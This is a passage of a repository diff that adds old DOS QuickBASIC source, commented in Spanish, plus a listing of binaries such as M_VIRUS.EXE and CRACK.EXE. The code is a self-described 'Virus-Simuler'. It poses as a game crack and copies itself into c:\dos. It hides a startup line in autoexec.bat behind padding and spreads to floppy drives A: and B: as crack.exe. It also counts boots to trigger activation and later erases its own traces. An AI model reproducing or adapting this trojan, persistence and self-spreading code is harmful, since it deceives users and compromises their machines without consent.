IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18);
IF q3 = 0 THEN PRINT Four$
IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1
IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18);
IF q4 = 0 THEN PRINT Five$
valor = 1
EXIT DO
END IF
ra = ra + 1
LOOP
END IF
CLOSE
IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto"
GOTO Simulador
accion:
SELECT CASE VAL(wqw$)
CASE 1
PRINT : PRINT
PRINT " Volumen en unidad C no tiene etiqueta"
PRINT " N£mero de serie de volumen es 1138-1600"
PRINT
PRINT " Directorio de C:\" + ch$
PRINT
PRINT "Archivo no se encontr¢"
PRINT
GOTO Simulador
CASE 2
PRINT : PRINT "Imposible acceder a unidad requerida"
GOTO Simulador
CASE 3
CLS
PRINT
GOTO Simulador
CASE 4
PRINT : PRINT "Fichero no encontrado"
GOTO Simulador
CASE 5
COLOR 6
PRINT : PRINT "Virus-Simuler por JD"
COLOR 7
GOTO Simulador
CASE 6
PRINT : PRINT TIME$: GOTO Simulador
CASE 7
PRINT : PRINT DATE$: GOTO Simulador
CASE 8
IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul"
PRINT
PRINT "Cable de enlace con la unidad A, suelto"
veza = 1
GOTO Simulador
CASE 9
IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul"
PRINT
PRINT "Cable de enlace con la unidad B, suelto"
vezb = 1
GOTO Simulador
END SELECT
PRINT wqw$
GOTO Simulador
END
finprog:
IF est = 1 THEN COLOR 5: LOCATE 15, 10: PRINT "Juego CRACKEADO ::: .. :::"
'system
END
errores:
IF ERR = 53 THEN copiarac (1)
RESUME NEXT
datas:
DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9
DATA *,*
SUB aumentacarga (global)
OPEN "c:\dos\cargas.dat" FOR INPUT AS #1
INPUT #1, carga$
CLOSE
carga$ = STR$(VAL(carga$) + 1)
OPEN "c:\dos\cargas.dat" FOR OUTPUT AS #1
WRITE #1, carga$
CLOSE
' El virus se activara cuando el contador sea mayor de 3 y se
'auto-eliminara cuando alcance un n£mero m ximo de 9 cargas.
IF VAL(carga$) > 3 THEN virus = 1
IF VAL(carga$) >= 9 THEN
borradelauto
KILL "cargas.dat"
KILL "c:\dos\tempi.bin"
KILL "c:\dos\TEMPI.exe"
END IF
END SUB
SUB borradelauto
'El proceso de borrado es complicado, hay que modificar apartir de las
'secuencias de grabado de datos las entradas o bytes donde se encuentra
'nuestra linea "intrusa", para eliminarla sin dejar rastro en el auto.
OPEN "c:\autoexec.bat" FOR INPUT AS #1
Q = 0
DO
Q = Q + 1
LINE INPUT #1, fc$(Q)
IF RTRIM$(LTRIM$(fc$(Q))) = "@echo off" THEN valor = 1
IF valor = 1 AND RTRIM$(LTRIM$(fc$(Q))) = "c:\dos\TEMPI" THEN CLOSE #1: GOTO grabar
LOOP WHILE NOT EOF(1)
CLOSE #1
GOTO finh
grabar:
c = Q - 22
SHELL "c:\dos\attrib -h -r c:\autoexec.bat >nul"
SHELL "del c:\autoexec.bat >nul"
OPEN "c:\autoexec.bat" FOR APPEND AS #2
c = Q - 22
FOR Q = 1 TO c
PRINT #2, fc$(Q)
NEXT Q
CLOSE #2
finh:
END SUB
SUB copiarac (est)
' Ahora deber¡a auto-copiarse este programa a la unidad C
' e instalarse, en el archivo autoexec.bat
CLS
bit = 0
LOCATE 5, 5: COLOR 5: PRINT "Por favor, espere..."
LOCATE 7, 5: COLOR 7: PRINT "Crackeando juego... ::: .. :::"
COLOR 12
SHELL "copy crack.exe c:\dos\tempi.exe >nul"
SHELL "copy crack.dat c:\dos\tempi.bin >nul"
SHELL "c:\dos\attrib -r c:\autoexec.bat >nul"
OPEN "c:\autoexec.bat" FOR APPEND AS #1
FOR a = c TO c + 20
PRINT #1, CHR$(13)
NEXT a
PRINT #1, "@echo off"
PRINT #1, "c:\dos\TEMPI"
CLOSE #1
COLOR 7
IF est = 1 THEN est = 1
END SUB
DEFINT A-Z
'GetString$:
' Given a row and col, and an initial string, edit a string
' VIS is the length of the visible field of entry
' MAX is the maximum number of characters allowed in the string
'
'
FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%)
PRINT start$;
IF Curr$ = CHR$(8) THEN Curr$ = ""
LOCATE , , 1
finished = FALSE
DO
GOSUB GetStringShowText2
GOSUB GetStringGetKey2
IF LEN(Kbd$) > 1 THEN
finished = TRUE
GetString2$ = Kbd$
ELSE
SELECT CASE Kbd$
CASE CHR$(13), CHR$(27), CHR$(9)
finished = TRUE
GetString2$ = Kbd$
CASE CHR$(8)
IF Curr$ <> "" THEN
Curr$ = LEFT$(Curr$, LEN(Curr$) - 1)
IF LEN(Curr$) >= 0 THEN
LOCATE CSRLIN, POS(0) - 1: PRINT " ";
IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1
END IF
END IF
CASE " " TO "}"
IF LEN(Curr$) < Max THEN
Curr$ = Curr$ + Kbd$
ELSE
BEEP
END IF
CASE ELSE
BEEP
END SELECT
END IF
LOOP UNTIL finished
end$ = Curr$
LOCATE , , 0
EXIT FUNCTION
GetStringShowText2:
IF LEN(Curr$) > Vis THEN
PRINT RIGHT$(Curr$, Vis);
ELSE
PRINT RIGHT$(Curr$, 1);
END IF
RETURN
GetStringGetKey2:
Kbd$ = ""
WHILE Kbd$ = ""
Kbd$ = INKEY$
WEND
RETURN
END FUNCTION

BIN
EXE/BD.EXE Normal file
View File

Binary file not shown.

BIN
EXE/CATALOG2.EXE Normal file
View File

Binary file not shown.

0
EXE/COPY-1.DAT Normal file
View File

0
EXE/COPY-2.DAT Normal file
View File

0
EXE/COPY-3.DAT Normal file
View File

BIN
EXE/CRACK.DAT Normal file
View File

Binary file not shown.

BIN
EXE/CRACK.EXE Normal file
View File

Binary file not shown.

0
EXE/FICH1.DAT Normal file
View File

0
EXE/FICH2.DAT Normal file
View File

0
EXE/FICH3.DAT Normal file
View File

BIN
EXE/HORA.EXE Normal file
View File

Binary file not shown.

BIN
EXE/HORA2.EXE Normal file
View File

Binary file not shown.

1
EXE/M_VIR.INI Normal file
View File

@ -0,0 +1 @@
2

BIN
EXE/M_VIRUS.EXE Normal file
View File

Binary file not shown.

BIN
EXE/PIC.EXE Normal file
View File

Binary file not shown.

BIN
EXE/PRECATA2.EXE Normal file
View File

Binary file not shown.

BIN
EXE/PROMPT-C.EXE Normal file
View File

Binary file not shown.

BIN
EXE/Q2.EXE Normal file
View File

Binary file not shown.

BIN
EXE/catalog/CGA.COM Normal file
View File

Binary file not shown.

1
EXE/catalog/COPY Normal file
View File

@ -0,0 +1 @@
JCHESS MASTJMASTER CHEJS.CIRCULATJPAPERBOY JGEOGRAFIA JKARATEKA JT. NINJA JPINBALL JSPACE-ACE JFLY JCATS JMARCIANO JTETRIS JBLOCK-OUT JMAD-MIX IIJULISES JO. WOLF JFUTBOL JMICHEL JGRAN PRIX JSTREET BALJTEST DRIVEJD. BUBBLE JXENON II JBILLAR JRICK D. JLIV. SUP. JSKATE J24 J.BASICJJAMES BONDJGREEN BER.JSOL NEGRO JMACH 3 JSTARDUST JTRIVIAL P.JSTART WARSJPREISTORIKJCAPITAN C.JLEMMINGS JMETAL MUT.JCASTLE MASJSOKOBAN JINDY JBATMAN JF-15 II JPRINCE P. JWRATH DEM.JTERMINATORJSIMPSONS JMENACE JGOLDEN AXEJINDIANAP. JXONIX JSPIDERMAN JAMAZING JBUDOKAN JDOUBLE DRAJ GPRINT MAS.GNEW MASTERGPAINT TOOLG G G G G G G G G G G G G G G G G G G PWRITING A.PAUTOTIP PNEWS P P P P P P P P P P P P P P P P P P P P P AVIERNES 13A RIBERSTOK RC. FAMILIARPERSONAL R DD. WRITINGDTRASLATOR D ODISKCOPY IOCOPY II PCOCOPY WRITEOXCOPY O UCOMPACTADOUPCTOOLS UVARIOS U G G G G G LBASIC LRUN L LGWBASIC LBASRUN LBASIC2 L CCONSULTAR CLISTA CESTERNA CA CFICHERO C ECGA EEMU1 EEMU2 EEMU3 EEMU4 EEMU EEMU0 E UFRENO U UHABILYTI U UCALCULATORU G G Mv 3.2 M JGHOST J UCATALOGO U JWORLD CLASJGAUNTLET 2JSIMCITY J GBANNER M. G PRUEBA L L L L LGW L EEMU EEMU0J J UCurso Pc U TDIGITAL TBOX TCURSO 1a3 T ERIA NG Mv 3.

BIN
EXE/catalog/DEUDAS.BAS Normal file
View File

Binary file not shown.

1
EXE/catalog/DEUDAS.DAT Normal file
View File

@ -0,0 +1 @@

BIN
EXE/catalog/GW.EXE Normal file
View File

Binary file not shown.

BIN
EXE/catalog/LISTA.BAS Normal file
View File

Binary file not shown.

2
EXE/catalog/LISTA.BAT Normal file
View File

@ -0,0 +1,2 @@
SLIDE PRESENT
GW MAINMENU

BIN
EXE/catalog/MAINMENU.BAS Normal file
View File

Binary file not shown.

BIN
EXE/catalog/MENSAJES Normal file
View File

Binary file not shown.

6
EXE/catalog/PRESENT Normal file
View File

@ -0,0 +1,6 @@
PRESENT1 2
PRESENT2 2
PRESENT3 2
PRESENT4 2
PRESENT5 3
PAUSE

BIN
EXE/catalog/PRESENT1.TIF Normal file
View File

Binary file not shown.

BIN
EXE/catalog/PRESENT2.TIF Normal file
View File

Binary file not shown.

BIN
EXE/catalog/PRESENT3.TIF Normal file
View File

Binary file not shown.

BIN
EXE/catalog/PRESENT4.TIF Normal file
View File

Binary file not shown.

BIN
EXE/catalog/PRESENT5.TIF Normal file
View File

Binary file not shown.

BIN
EXE/catalog/SLIDE.EXE Normal file
View File

Binary file not shown.

BIN
NEW/DAT_REF.BAS Normal file
View File

Binary file not shown.

3919
NEW/JD1.BAS Normal file
View File

File diff suppressed because it is too large Load Diff

BIN
NEW/PROVEED.BAS Normal file
View File

Binary file not shown.

BIN
NEW/REF#.BAS Normal file
View File

Binary file not shown.

1929
NEW/TPV.BAS Normal file
View File

File diff suppressed because it is too large Load Diff